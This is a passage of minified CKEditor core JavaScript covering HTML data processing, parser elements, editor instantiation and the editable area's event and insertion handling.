decodeURIComponent(t)})).replace(/\{cke_protected_(\d+)\}/g,(function(e,t){return n&&n[t]||""}))}(t=d(t=i.getHtml(!0)),n),e.data.dataValue=t}),null,null,15)},CKEDITOR.htmlDataProcessor.prototype={toHtml:function(e,t,n,i){var o,r,a,s=this.editor;return t&&"object"==typeof t?(o=t.context,n=t.fixForBody,i=t.dontFilter,r=t.filter,a=t.enterMode):o=t,!o&&null!==o&&(o=s.editable().getName()),s.fire("toHtml",{dataValue:e,context:o,fixForBody:n,dontFilter:i,filter:r||s.filter,enterMode:a||s.enterMode}).dataValue},toDataFormat:function(e,t){var n,i,o;return t&&(n=t.context,i=t.filter,o=t.enterMode),!n&&null!==n&&(n=this.editor.editable().getName()),this.editor.fire("toDataFormat",{dataValue:e,filter:i||this.editor.filter,context:n,enterMode:o||this.editor.enterMode}).dataValue}};var u=/(?: |\xa0)$/,h="{cke_protected}",m=CKEDITOR.dtd,f=["caption","colgroup","col","thead","tfoot","tbody"],E=CKEDITOR.tools.extend({},m.$blockLimit,m.$block),g={elements:{input:s,textarea:s}},T={attributeNames:[[/^on/,"data-cke-pa-on"],[/^data-cke-expando$/,""]]},p={elements:{embed:function(e){if((n=e.parent)&&"object"==n.name){var t=n.attributes.width,n=n.attributes.height;t&&(e.attributes.width=t),n&&(e.attributes.height=n)}},a:function(e){if(!e.children.length&&!e.attributes.name&&!e.attributes["data-cke-saved-name"])return!1}}},C={elementNames:[[/^cke:/,""],[/^\?xml:namespace$/,""]],attributeNames:[[/^data-cke-(saved|pa)-/,""],[/^data-cke-.*/,""],["hidefocus",""]],elements:{$:function(e){var t=e.attributes;if(t){if(t["data-cke-temp"])return!1;for(var n=["name","href","src"],i=0;i<n.length;i++)"data-cke-saved-"+n[i]in t&&delete t[n[i]]}return e},table:function(e){e.children.slice(0).sort((function(e,t){var n,i;return e.type==CKEDITOR.NODE_ELEMENT&&t.type==e.type&&(n=CKEDITOR.tools.indexOf(f,e.name),i=CKEDITOR.tools.indexOf(f,t.name)),n>-1&&i>-1&&n!=i||(n=e.parent?e.getIndex():-1,i=t.parent?t.getIndex():-1),n>i?1:-1}))},param:function(e){return e.children=[],e.isEmpty=!0,e},span:function(e){"Apple-style-span"==e.attributes.class&&delete e.name},html:function(e){delete e.attributes.contenteditable,delete e.attributes.class},body:function(e){delete e.attributes.spellcheck,delete e.attributes.contenteditable},style:function(e){var t=e.children[0];t&&t.value&&(t.value=CKEDITOR.tools.trim(t.value)),e.attributes.type||(e.attributes.type="text/css")},title:function(e){var t=e.children[0];!t&&a(e,t=new CKEDITOR.htmlParser.text),t.value=e.attributes["data-cke-title"]||""},input:l,textarea:l},attributes:{class:function(e){return CKEDITOR.tools.ltrim(e.replace(/(?:^|\s+)cke_[^\s]*/g,""))||!1}}};CKEDITOR.env.ie&&(C.attributes.style=function(e){return e.replace(/(^|;)([^\:]+)/g,(function(e){return e.toLowerCase()}))});var I=/<(a|area|img|input|source)\b([^>]*)>/gi,O=/\s(on\w+|href|src|name)\s*=\s*(?:(?:"[^"]*")|(?:'[^']*')|(?:[^ "'>]+))/gi,D=/(?:<style(?=[ >])[^>]*>[\s\S]*?<\/style>)|(?:<(:?link|meta|base)[^>]*>)/gi,R=/(<textarea(?=[ >])[^>]*>)([\s\S]*?)(?:<\/textarea>)/gi,v=/<cke:encoded>([^<]*)<\/cke:encoded>/gi,b=/(<\/?)((?:object|embed|param|html|body|head|title)[^>]*>)/gi,K=/(<\/?)cke:((?:html|body|head|title)[^>]*>)/gi,_=/<cke:(param|embed)([^>]*?)\/?>(?!\s*<\/cke:\1)/gi}(),CKEDITOR.htmlParser.element=function(e,t){this.name=e,this.attributes=t||{},this.children=[];var n=e||"",i=n.match(/^cke:(.*)/);i&&(n=i[1]),n=!!(CKEDITOR.dtd.$nonBodyContent[n]||CKEDITOR.dtd.$block[n]||CKEDITOR.dtd.$listItem[n]||CKEDITOR.dtd.$tableContent[n]||CKEDITOR.dtd.$nonEditable[n]||"br"==n),this.isEmpty=!!CKEDITOR.dtd.$empty[e],this.isUnknown=!CKEDITOR.dtd[e],this._={isBlockLike:n,hasInlineStarted:this.isEmpty||!n}},CKEDITOR.htmlParser.cssStyle=function(e){var t={};return((e instanceof CKEDITOR.htmlParser.element?e.attributes.style:e)||"").replace(/"/g,'"').replace(/\s*([^ :;]+)\s*:\s*([^;]+)\s*(?=;|$)/g,(function(e,n,i){"font-family"==n&&(i=i.replace(/["']/g,"")),t[n.toLowerCase()]=i})),{rules:t,populate:function(e){var t=this.toString();t&&(e instanceof CKEDITOR.dom.element?e.setAttribute("style",t):e instanceof CKEDITOR.htmlParser.element?e.attributes.style=t:e.style=t)},toString:function(){var e,n=[];for(e in t)t[e]&&n.push(e,":",t[e],";");return n.join("")}}},function(){var e=function(e,t){return(e=e[0])<(t=t[0])?-1:e>t?1:0},t=CKEDITOR.htmlParser.fragment.prototype;CKEDITOR.htmlParser.element.prototype=CKEDITOR.tools.extend(new CKEDITOR.htmlParser.node,{type:CKEDITOR.NODE_ELEMENT,add:t.add,clone:function(){return new CKEDITOR.htmlParser.element(this.name,this.attributes)},filter:function(e,t){var n,i,o,r,a=this;if((t=a.getFilterContext(t)).off)return!0;for(a.parent||e.onRoot(t,a);;){if(n=a.name,!(i=e.onElementName(t,n)))return this.remove(),!1;if(a.name=i,!(a=e.onElement(t,a)))return this.remove(),!1;if(a!==this)return this.replaceWith(a),!1;if(a.name==n)break;if(a.type!=CKEDITOR.NODE_ELEMENT)return this.replaceWith(a),!1;if(!a.name)return this.replaceWithChildren(),!1}for(o in n=a.attributes){for(r=o,i=n[o];;){if(!(r=e.onAttributeName(t,o))){delete n[o];break}if(r==o)break;delete n[o],o=r}r&&(!1===(i=e.onAttribute(t,a,r,i))?delete n[r]:n[r]=i)}return a.isEmpty||this.filterChildren(e,!1,t),!0},filterChildren:t.filterChildren,writeHtml:function(t,n){n&&this.filter(n);var i,o,r=this.name,a=[],s=this.attributes;for(i in t.openTag(r,s),s)a.push([i,s[i]]);for(t.sortAttributes&&a.sort(e),i=0,o=a.length;i<o;i++)s=a[i],t.attribute(s[0],s[1]);t.openTagClose(r,this.isEmpty),this.writeChildrenHtml(t),this.isEmpty||t.closeTag(r)},writeChildrenHtml:t.writeChildrenHtml,replaceWithChildren:function(){for(var e=this.children,t=e.length;t;)e[--t].insertAfter(this);this.remove()},forEach:t.forEach,getFirst:function(e){if(!e)return this.children.length?this.children[0]:null;"function"!=typeof e&&(e=function(e){return function(t){return t.type==CKEDITOR.NODE_ELEMENT&&("string"==typeof e?t.name==e:t.name in e)}}(e));for(var t=0,n=this.children.length;t<n;++t)if(e(this.children[t]))return this.children[t];return null},getHtml:function(){var e=new CKEDITOR.htmlParser.basicWriter;return this.writeChildrenHtml(e),e.getHtml()},setHtml:function(e){for(var t=0,n=(e=this.children=CKEDITOR.htmlParser.fragment.fromHtml(e).children).length;t<n;++t)e[t].parent=this},getOuterHtml:function(){var e=new CKEDITOR.htmlParser.basicWriter;return this.writeHtml(e),e.getHtml()},split:function(e){for(var t=this.children.splice(e,this.children.length-e),n=this.clone(),i=0;i<t.length;++i)t[i].parent=n;return n.children=t,t[0]&&(t[0].previous=null),e>0&&(this.children[e-1].next=null),this.parent.add(n,this.getIndex()+1),n},removeClass:function(e){var t=this.attributes.class;t&&((t=CKEDITOR.tools.trim(t.replace(RegExp("(?:\\s+|^)"+e+"(?:\\s+|$)")," ")))?this.attributes.class=t:delete this.attributes.class)},hasClass:function(e){var t=this.attributes.class;return!!t&&RegExp("(?:^|\\s)"+e+"(?=\\s|$)").test(t)},getFilterContext:function(e){var t=[];if(e||(e={off:!1,nonEditable:!1}),!e.off&&"off"==this.attributes["data-cke-processor"]&&t.push("off",!0),!e.nonEditable&&"false"==this.attributes.contenteditable&&t.push("nonEditable",!0),t.length){e=CKEDITOR.tools.copy(e);for(var n=0;n<t.length;n+=2)e[t[n]]=t[n+1]}return e}},!0)}(),function(){var e={};CKEDITOR.template=function(t){if(e[t])this.output=e[t];else{var n=t.replace(/'/g,"\\'").replace(/{([^}]+)}/g,(function(e,t){return"',data['"+t+"']==undefined?'{"+t+"}':data['"+t+"'],'"}));this.output=e[t]=Function("data","buffer","return buffer?buffer.push('"+n+"'):['"+n+"'].join('');")}}}(),delete CKEDITOR.loadFullCore,CKEDITOR.instances={},CKEDITOR.document=new CKEDITOR.dom.document(document),CKEDITOR.add=function(e){CKEDITOR.instances[e.name]=e,e.on("focus",(function(){CKEDITOR.currentInstance!=e&&(CKEDITOR.currentInstance=e,CKEDITOR.fire("currentInstance"))})),e.on("blur",(function(){CKEDITOR.currentInstance==e&&(CKEDITOR.currentInstance=null,CKEDITOR.fire("currentInstance"))})),CKEDITOR.fire("instance",null,e)},CKEDITOR.remove=function(e){delete CKEDITOR.instances[e.name]},function(){var e={};CKEDITOR.addTemplate=function(t,n){var i=e[t];return i||(i={name:t,source:n},CKEDITOR.fire("template",i),e[t]=new CKEDITOR.template(i.source))},CKEDITOR.getTemplate=function(t){return e[t]}}(),function(){var e=[];CKEDITOR.addCss=function(t){e.push(t)},CKEDITOR.getCss=function(){return e.join("\n")}}(),CKEDITOR.on("instanceDestroyed",(function(){CKEDITOR.tools.isEmpty(this.instances)&&CKEDITOR.fire("reset")})),CKEDITOR.TRISTATE_ON=1,CKEDITOR.TRISTATE_OFF=2,CKEDITOR.TRISTATE_DISABLED=0,CKEDITOR.inline=function(e,t){if(!CKEDITOR.env.isCompatible)return null;if((e=CKEDITOR.dom.element.get(e)).getEditor())throw'The editor instance "'+e.getEditor().name+'" is already attached to the provided element.';var n=new CKEDITOR.editor(t,e,CKEDITOR.ELEMENT_MODE_INLINE),i=e.is("textarea")?e:null;return i?(n.setData(i.getValue(),null,!0),(e=CKEDITOR.dom.element.createFromHtml('<div contenteditable="'+!!n.readOnly+'" class="cke_textarea_inline">'+i.getValue()+"</div>",CKEDITOR.document)).insertAfter(i),i.hide(),i.$.form&&n._attachToForm()):n.setData(e.getHtml(),null,!0),n.on("loaded",(function(){n.fire("uiReady"),n.editable(e),n.container=e,n.setData(n.getData(1)),n.resetDirty(),n.fire("contentDom"),n.mode="wysiwyg",n.fire("mode"),n.status="ready",n.fireOnce("instanceReady"),CKEDITOR.fire("instanceReady",null,n)}),null,null,1e4),n.on("destroy",(function(){i&&(n.container.clearCustomData(),n.container.remove(),i.show()),n.element.clearCustomData(),delete n.element})),n},CKEDITOR.inlineAll=function(){var e,t,n;for(n in CKEDITOR.dtd.$editable)for(var i=CKEDITOR.document.getElementsByTag(n),o=0,r=i.count();o<r;o++)"true"==(e=i.getItem(o)).getAttribute("contenteditable")&&(t={element:e,config:{}},!1!==CKEDITOR.fire("inline",t)&&CKEDITOR.inline(e,t.config))},CKEDITOR.domReady((function(){!CKEDITOR.disableAutoInline&&CKEDITOR.inlineAll()})),CKEDITOR.replaceClass="ckeditor",function(){function e(e,i,o,r){if(!CKEDITOR.env.isCompatible)return null;if((e=CKEDITOR.dom.element.get(e)).getEditor())throw'The editor instance "'+e.getEditor().name+'" is already attached to the provided element.';var a=new CKEDITOR.editor(i,e,r);return r==CKEDITOR.ELEMENT_MODE_REPLACE&&(e.setStyle("visibility","hidden"),a._.required=e.hasAttribute("required"),e.removeAttribute("required")),o&&a.setData(o,null,!0),a.on("loaded",(function(){n(a),r==CKEDITOR.ELEMENT_MODE_REPLACE&&a.config.autoUpdateElement&&e.$.form&&a._attachToForm(),a.setMode(a.config.startupMode,(function(){a.resetDirty(),a.status="ready",a.fireOnce("instanceReady"),CKEDITOR.fire("instanceReady",null,a)}))})),a.on("destroy",t),a}function t(){var e=this.container,t=this.element;e&&(e.clearCustomData(),e.remove()),t&&(t.clearCustomData(),this.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE&&(t.show(),this._.required&&t.setAttribute("required","required")),delete this.element)}function n(e){var t=e.name,n=e.element,o=e.elementMode,r=e.fire("uiSpace",{space:"top",html:""}).html,a=e.fire("uiSpace",{space:"bottom",html:""}).html;i||(i=CKEDITOR.addTemplate("maincontainer",'<{outerEl} id="cke_{name}" class="{id} cke cke_reset cke_chrome cke_editor_{name} cke_{langDir} '+CKEDITOR.env.cssClass+'" dir="{langDir}" lang="{langCode}" role="application" aria-labelledby="cke_{name}_arialbl"><span id="cke_{name}_arialbl" class="cke_voice_label">{voiceLabel}</span><{outerEl} class="cke_inner cke_reset" role="presentation">{topHtml}<{outerEl} id="{contentId}" class="cke_contents cke_reset" role="presentation"></{outerEl}>{bottomHtml}</{outerEl}></{outerEl}>')),t=CKEDITOR.dom.element.createFromHtml(i.output({id:e.id,name:t,langDir:e.lang.dir,langCode:e.langCode,voiceLabel:[e.lang.editor,e.name].join(", "),topHtml:r?'<span id="'+e.ui.spaceId("top")+'" class="cke_top cke_reset_all" role="presentation" style="height:auto">'+r+"</span>":"",contentId:e.ui.spaceId("contents"),bottomHtml:a?'<span id="'+e.ui.spaceId("bottom")+'" class="cke_bottom cke_reset_all" role="presentation">'+a+"</span>":"",outerEl:CKEDITOR.env.ie?"span":"div"})),o==CKEDITOR.ELEMENT_MODE_REPLACE?(n.hide(),t.insertAfter(n)):n.append(t),e.container=t,r&&e.ui.space("top").unselectable(),a&&e.ui.space("bottom").unselectable(),n=e.config.width,o=e.config.height,n&&t.setStyle("width",CKEDITOR.tools.cssLength(n)),o&&e.ui.space("contents").setStyle("height",CKEDITOR.tools.cssLength(o)),t.disableContextMenu(),CKEDITOR.env.webkit&&t.on("focus",(function(){e.focus()})),e.fireOnce("uiReady")}var i;CKEDITOR.replace=function(t,n){return e(t,n,null,CKEDITOR.ELEMENT_MODE_REPLACE)},CKEDITOR.appendTo=function(t,n,i){return e(t,n,i,CKEDITOR.ELEMENT_MODE_APPENDTO)},CKEDITOR.replaceAll=function(){for(var e=document.getElementsByTagName("textarea"),t=0;t<e.length;t++){var n=null,i=e[t];if(i.name||i.id){if("string"==typeof arguments[0]){if(!RegExp("(?:^|\\s)"+arguments[0]+"(?:$|\\s)").test(i.className))continue}else if("function"==typeof arguments[0]&&!1===arguments[0](i,n={}))continue;this.replace(i,n)}}},CKEDITOR.editor.prototype.addMode=function(e,t){(this._.modes||(this._.modes={}))[e]=t},CKEDITOR.editor.prototype.setMode=function(e,t){var n=this,i=this._.modes;if(e!=n.mode&&i&&i[e]){if(n.fire("beforeSetMode",e),n.mode){var o=n.checkDirty();n._.previousMode=n.mode,n.fire("beforeModeUnload"),n.editable(0),n.ui.space("contents").setHtml(""),n.mode=""}this._.modes[e]((function(){n.mode=e,void 0!==o&&!o&&n.resetDirty(),setTimeout((function(){n.fire("mode"),t&&t.call(n)}),0)}))}},CKEDITOR.editor.prototype.resize=function(e,t,n,i){var o=this.container,r=this.ui.space("contents"),a=CKEDITOR.env.webkit&&this.document&&this.document.getWindow().$.frameElement;(i=i?o.getChild(1):o).setSize("width",e,!0),a&&(a.style.width="1%"),r.setStyle("height",Math.max(t-(n?0:(i.$.offsetHeight||0)-(r.$.clientHeight||0)),0)+"px"),a&&(a.style.width="100%"),this.fire("resize")},CKEDITOR.editor.prototype.getResizable=function(e){return e?this.ui.space("contents"):this.container},CKEDITOR.domReady((function(){CKEDITOR.replaceClass&&CKEDITOR.replaceAll(CKEDITOR.replaceClass)}))}(),CKEDITOR.config.startupMode="wysiwyg",function(){function e(e){var t,i=e.editor,o=e.data.path,r=o.blockLimit,a=e.data.selection,s=a.getRanges()[0];(CKEDITOR.env.gecko||CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller)&&(a=function(e,t){if(e.isFake)return 0;var i=t.block||t.blockLimit,o=i&&i.getLast(n);return!i||!i.isBlockBoundary()||o&&o.type==CKEDITOR.NODE_ELEMENT&&o.isBlockBoundary()||i.is("pre")||i.getBogus()?void 0:i}(a,o))&&(a.appendBogus(),t=CKEDITOR.env.ie),!1!==i.config.autoParagraph&&i.activeEnterMode!=CKEDITOR.ENTER_BR&&i.editable().equals(r)&&!o.block&&s.collapsed&&!s.getCommonAncestor().isReadOnly()&&((o=s.clone()).enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS),(r=new CKEDITOR.dom.walker(o)).guard=function(e){return!n(e)||e.type==CKEDITOR.NODE_COMMENT||e.isReadOnly()},(!r.checkForward()||o.checkStartOfBlock()&&o.checkEndOfBlock())&&(i=s.fixBlock(!0,i.activeEnterMode==CKEDITOR.ENTER_DIV?"div":"p"),CKEDITOR.env.needsBrFiller||(i=i.getFirst(n))&&i.type==CKEDITOR.NODE_TEXT&&CKEDITOR.tools.trim(i.getText()).match(/^(?: |\xa0)$/)&&i.remove(),t=1,e.cancel())),t&&s.select()}function t(e){var t=e.data.getTarget();t.is("input")&&("submit"==(t=t.getAttribute("type"))||"reset"==t)&&e.data.preventDefault()}function n(e){return c(e)&&d(e)}function i(e,t){return function(n){var i=CKEDITOR.dom.element.get(n.data.$.toElement||n.data.$.fromElement||n.data.$.relatedTarget);(!i||!t.equals(i)&&!t.contains(i))&&e.call(this,n)}}function o(e){var t,i=e.getRanges()[0],o=e.root,r={table:1,ul:1,ol:1,dl:1};if(i.startPath().contains(r)){e=function(e){return function(i,o){if(o&&i.type==CKEDITOR.NODE_ELEMENT&&i.is(r)&&(t=i),!o&&n(i)&&(!e||!s(i)))return!1}};var a=i.clone();if(a.collapse(1),a.setStartAt(o,CKEDITOR.POSITION_AFTER_START),(o=new CKEDITOR.dom.walker(a)).guard=e(),o.checkBackward(),t)return(a=i.clone()).collapse(),a.setEndAt(t,CKEDITOR.POSITION_AFTER_END),(o=new CKEDITOR.dom.walker(a)).guard=e(!0),t=!1,o.checkForward(),t}return null}function r(e){e.editor.focus(),e.editor.fire("saveSnapshot")}function a(e,t){var n=e.editor;!t&&n.getSelection().scrollIntoView(),setTimeout((function(){n.fire("saveSnapshot")}),0)}CKEDITOR.editable=CKEDITOR.tools.createClass({base:CKEDITOR.dom.element,$:function(e,t){this.base(t.$||t),this.editor=e,this.hasFocus=!1,this.setup()},proto:{focus:function(){var e;if(CKEDITOR.env.webkit&&!this.hasFocus&&(e=this.editor._.previousActive||this.getDocument().getActive(),this.contains(e)))e.focus();else{try{this.$[CKEDITOR.env.ie&&this.getDocument().equals(CKEDITOR.document)?"setActive":"focus"]()}catch(e){if(!CKEDITOR.env.ie)throw e}CKEDITOR.env.safari&&!this.isInline()&&((e=CKEDITOR.document.getActive()).equals(this.getWindow().getFrame())||this.getWindow().focus())}},on:function(e,t){var n=Array.prototype.slice.call(arguments,0);return CKEDITOR.env.ie&&/^focus|blur$/.exec(e)&&(e="focus"==e?"focusin":"focusout",t=i(t,this),n[0]=e,n[1]=t),CKEDITOR.dom.element.prototype.on.apply(this,n)},attachListener:function(e,t,n,i,o,r){!this._.listeners&&(this._.listeners=[]);var a=Array.prototype.slice.call(arguments,1);return a=e.on.apply(e,a),this._.listeners.push(a),a},clearListeners:function(){var e=this._.listeners;try{for(;e.length;)e.pop().removeListener()}catch(e){}},restoreAttrs:function(){var e,t,n=this._.attrChanges;for(t in n)n.hasOwnProperty(t)&&(null!==(e=n[t])?this.setAttribute(t,e):this.removeAttribute(t))},attachClass:function(e){var t=this.getCustomData("classes");this.hasClass(e)||(!t&&(t=[]),t.push(e),this.setCustomData("classes",t),this.addClass(e))},changeAttr:function(e,t){var n=this.getAttribute(e);t!==n&&(!this._.attrChanges&&(this._.attrChanges={}),e in this._.attrChanges||(this._.attrChanges[e]=n),this.setAttribute(e,t))},insertHtml:function(e,t){r(this),u(this,t||"html",e)},insertText:function(e){r(this);var t=(i=(t=this.editor).getSelection().getStartElement().hasAscendant("pre",!0)?CKEDITOR.ENTER_BR:t.activeEnterMode)==CKEDITOR.ENTER_BR,n=CKEDITOR.tools,i=(e=(e=n.htmlEncode(e.replace(/\r\n/g,"\n"))).replace(/\t/g," "),i==CKEDITOR.ENTER_P?"p":"div");if(!t){var o=/\n{2}/g;if(o.test(e)){var a="<"+i+">",s="</"+i+">";e=a+e.replace(o,(function(){return s+a}))+s}}e=e.replace(/\n/g,"<br>"),t||(e=e.replace(RegExp("<br>(?=</"+i+">)"),(function(e){return n.repeat(e,2)}))),e=(e=e.replace(/^ | $/g," ")).replace(/(>|\s) /g,(function(e,t){return t+" "})).replace(/ (?=<)/g," "),u(this,"text",e)},insertElement:function(e,t){t?this.insertElementIntoRange(e,t):this.insertElementIntoSelection(e)},insertElementIntoRange:function(e,t){var n,i,o=this.editor,r=o.config.enterMode,a=e.getName(),s=CKEDITOR.dtd.$block[a];if(t.checkReadOnly())return!1;if(t.deleteContents(1),s)for(;(n=t.getCommonAncestor(0,1))&&(i=CKEDITOR.dtd[n.getName()])&&(!i||!i[a]);)n.getName()in CKEDITOR.dtd.span?t.splitElement(n):t.checkStartOfBlock()&&t.checkEndOfBlock()?(t.setStartBefore(n),t.collapse(!0),n.remove()):t.splitBlock(r==CKEDITOR.ENTER_DIV?"div":"p",o.editable());return t.insertNode(e),!0},insertElementIntoSelection:function(e){var t,i,o,l,c=(t=this.editor).activeEnterMode,d=(t=t.getSelection()).getRanges(),u=e.getName();u=CKEDITOR.dtd.$block[u],r(this);for(var h=d.length;h--;)l=d[h],i=!h&&e||e.clone(1),this.insertElementIntoRange(i,l)&&!o&&(o=i);o&&(l.moveToPosition(o,CKEDITOR.POSITION_AFTER_END),u&&((e=o.getNext((function(e){return n(e)&&!s(e)})))&&e.type==CKEDITOR.NODE_ELEMENT&&e.is(CKEDITOR.dtd.$block)?e.getDtd()["#"]?l.moveToElementEditStart(e):l.moveToElementEditEnd(o):e||c==CKEDITOR.ENTER_BR||(e=l.fixBlock(!0,c==CKEDITOR.ENTER_DIV?"div":"p"),l.moveToElementEditStart(e)))),t.selectRanges([l]),a(this,CKEDITOR.env.opera)},setData:function(e,t){t||(e=this.editor.dataProcessor.toHtml(e)),this.setHtml(e),this.editor.fire("dataReady")},getData:function(e){var t=this.getHtml();return e||(t=this.editor.dataProcessor.toDataFormat(t)),t},setReadOnly:function(e){this.setAttribute("contenteditable",!e)},detach:function(){this.removeClass("cke_editable");var e=this.editor;this._.detach(),delete e.document,delete e.window},isInline:function(){return this.getDocument().equals(CKEDITOR.document)},setup:function(){var e=this.editor;if(this.attachListener(e,"beforeGetData",(function(){var t=this.getData();this.is("textarea")||!1!==e.config.ignoreEmptyParagraph&&(t=t.replace(l,(function(e,t){return t}))),e.setData(t,null,1)}),this),this.attachListener(e,"getSnapshot",(function(e){e.data=this.getData(1)}),this),this.attachListener(e,"afterSetData",(function(){this.setData(e.getData(1))}),this),this.attachListener(e,"loadSnapshot",(function(e){this.setData(e.data,1)}),this),this.attachListener(e,"beforeFocus",(function(){var t=e.getSelection();(t=t&&t.getNative())&&"Control"==t.type||this.focus()}),this),this.attachListener(e,"insertHtml",(function(e){this.insertHtml(e.data.dataValue,e.data.mode)}),this),this.attachListener(e,"insertElement",(function(e){this.insertElement(e.data)}),this),this.attachListener(e,"insertText",(function(e){this.insertText(e.data)}),this),this.setReadOnly(e.readOnly),this.attachClass("cke_editable"),this.attachClass(e.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"cke_editable_inline":e.elementMode==CKEDITOR.ELEMENT_MODE_REPLACE||e.elementMode==CKEDITOR.ELEMENT_MODE_APPENDTO?"cke_editable_themed":""),this.attachClass("cke_contents_"+e.config.contentsLangDirection),e.keystrokeHandler.blockedKeystrokes[8]=+e.readOnly,e.keystrokeHandler.attach(this),this.on("blur",(function(e){CKEDITOR.env.opera&&CKEDITOR.document.getActive().equals(this.isInline()?this:this.getWindow().getFrame())?e.cancel():this.hasFocus=!1}),null,null,-1),this.on("focus",(function(){this.hasFocus=!0}),null,null,-1),e.focusManager.add(this),this.equals(CKEDITOR.document.getActive())&&(this.hasFocus=!0,e.once("contentDom",(function(){e.focusManager.focus()}))),this.isInline()&&this.changeAttr("tabindex",e.tabIndex),!this.is("textarea")){e.document=this.getDocument(),e.window=this.getWindow();var i=e.document;this.changeAttr("spellcheck",!e.config.disableNativeSpellChecker);var r=e.config.contentsLangDirection;this.getDirection(1)!=r&&this.changeAttr("dir",r);var a=CKEDITOR.getCss();a&&((r=i.getHead()).getCustomData("stylesheet")||(a=i.appendStyleText(a),a=new CKEDITOR.dom.element(a.ownerNode||a.owningElement),r.setCustomData("stylesheet",a),a.data("cke-temp",1))),r=i.getCustomData("stylesheet_ref")||0,i.setCustomData("stylesheet_ref",r+1),this.setCustomData("cke_includeReadonly",!e.config.disableReadonlyStyling),this.attachListener(this,"click",(function(e){e=e.data;var t=new CKEDITOR.dom.elementPath(e.getTarget(),this).contains("a");t&&2!=e.$.button&&t.isReadOnly()&&e.preventDefault()}));var s={8:1,46:1};this.attachListener(e,"key",(function(t){if(e.readOnly)return!0;var n;if((u=t.data.keyCode)in s){var i,r,a,l=e.getSelection(),d=(t=l.getRanges()[0]).startPath(),u=8==u;(l=o(l))?(e.fire("saveSnapshot"),t.moveToPosition(l,CKEDITOR.POSITION_BEFORE_START),l.remove(),t.select(),e.fire("saveSnapshot"),n=1):t.collapsed&&((i=d.block)&&(a=i[u?"getPrevious":"getNext"](c))&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("table")&&t[u?"checkStartOfBlock":"checkEndOfBlock"]()?(e.fire("saveSnapshot"),t[u?"checkEndOfBlock":"checkStartOfBlock"]()&&i.remove(),t["moveToElementEdit"+(u?"End":"Start")](a),t.select(),e.fire("saveSnapshot"),n=1):d.blockLimit&&d.blockLimit.is("td")&&(r=d.blockLimit.getAscendant("table"))&&t.checkBoundaryOfElement(r,u?CKEDITOR.START:CKEDITOR.END)&&(a=r[u?"getPrevious":"getNext"](c))?(e.fire("saveSnapshot"),t["moveToElementEdit"+(u?"End":"Start")](a),t.checkStartOfBlock()&&t.checkEndOfBlock()?a.remove():t.select(),e.fire("saveSnapshot"),n=1):(r=d.contains(["td","th","caption"]))&&t.checkBoundaryOfElement(r,u?CKEDITOR.START:CKEDITOR.END)&&(n=1))}return!n})),e.blockless&&CKEDITOR.env.ie&&CKEDITOR.env.needsBrFiller&&this.attachListener(this,"keyup",(function(t){t.data.getKeystroke()in s&&!this.getFirst(n)&&(this.appendBogus(),(t=e.createRange()).moveToPosition(this,CKEDITOR.POSITION_AFTER_START),t.select())})),this.attachListener(this,"dblclick",(function(t){if(e.readOnly)return!1;t={element:t.data.getTarget()},e.fire("doubleclick",t)})),CKEDITOR.env.ie&&this.attachListener(this,"click",t),!CKEDITOR.env.ie&&!CKEDITOR.env.opera&&this.attachListener(this,"mousedown",(function(t){var n=t.data.getTarget();n.is("img","hr","input","textarea","select")&&(e.getSelection().selectElement(n),n.is("input","textarea","select")&&t.data.preventDefault())})),CKEDITOR.env.gecko&&this.attachListener(this,"mouseup",(function(t){if(2==t.data.$.button&&!(t=t.data.getTarget()).getOuterHtml().replace(l,"")){var n=e.createRange();n.moveToElementEditStart(t),n.select(!0)}})),CKEDITOR.env.webkit&&(this.attachListener(this,"click",(function(e){e.data.getTarget().is("input","select")&&e.data.preventDefault()})),this.attachListener(this,"mouseup",(function(e){e.data.getTarget().is("input","textarea")&&e.data.preventDefault()})))}}},_:{detach:function(){var e;if(this.editor.setData(this.editor.getData(),0,1),this.clearListeners(),this.restoreAttrs(),e=this.removeCustomData("classes"))for(;e.length;)this.removeClass(e.pop());var t=(e=this.getDocument()).getHead();if(t.getCustomData("stylesheet")){var n=e.getCustomData("stylesheet_ref");--n?e.setCustomData("stylesheet_ref",n):(e.removeCustomData("stylesheet_ref"),t.removeCustomData("stylesheet").remove())}delete this.editor}}}),CKEDITOR.editor.prototype.editable=function(e){var t=this._.editable;return t&&e?0:(arguments.length&&(t=this._.editable=e?e instanceof CKEDITOR.editable?e:new CKEDITOR.editable(this,e):(t&&t.detach(),null)),t)};var s=CKEDITOR.dom.walker.bogus(),l=/(^|<body\b[^>]*>)\s*<(p|div|address|h\d|center|pre)[^>]*>\s*(?:<br[^>]*>| |\u00A0| )?\s*(:?<\/\2>)?\s*(?=$|<\/body>)/gi,c=CKEDITOR.dom.walker.whitespaces(!0),d=CKEDITOR.dom.walker.bookmark(!1,!0);CKEDITOR.on("instanceLoaded",(function(t){var n=t.editor;n.on("insertElement",(function(e){(e=e.data).type==CKEDITOR.NODE_ELEMENT&&(e.is("input")||e.is("textarea"))&&("false"!=e.getAttribute("contentEditable")&&e.data("cke-editable",e.hasAttribute("contenteditable")?"true":"1"),e.setAttribute("contentEditable",!1))})),n.on("selectionChange",(function(t){if(!n.readOnly){var i=n.getSelection();i&&!i.isLocked&&(i=n.checkDirty(),n.fire("lockSnapshot"),e(t),n.fire("unlockSnapshot"),!i&&n.resetDirty())}}))})),CKEDITOR.on("instanceCreated",(function(e){var t=e.editor;t.on("mode",(function(){var e=t.editable();if(e&&e.isInline()){var n=t.title;if(e.changeAttr("role","textbox"),e.changeAttr("aria-label",n),n&&e.changeAttr("title",n),n=this.ui.space(this.elementMode==CKEDITOR.ELEMENT_MODE_INLINE?"top":"contents")){var i=CKEDITOR.tools.getNextId(),o=CKEDITOR.dom.element.createFromHtml('<span id="'+i+'" class="cke_voice_label">'+this.lang.common.editorHelp+"</span>");n.append(o),e.changeAttr("aria-describedby",i)}}}))})),CKEDITOR.addCss(".cke_editable{cursor:text}.cke_editable img,.cke_editable input,.cke_editable textarea{cursor:default}");var u=function(){function e(e){return e.type==CKEDITOR.NODE_ELEMENT}function t(n,i){var o,r,a,l,c=[],d=i.range.startContainer;o=i.range.startPath(),d=s[d.getName()];for(var u=0,h=n.getChildren(),m=h.count(),f=-1,E=-1,g=0,T=o.contains(s.$list);u<m;++u)e(o=h.getItem(u))?(a=o.getName(),T&&a in 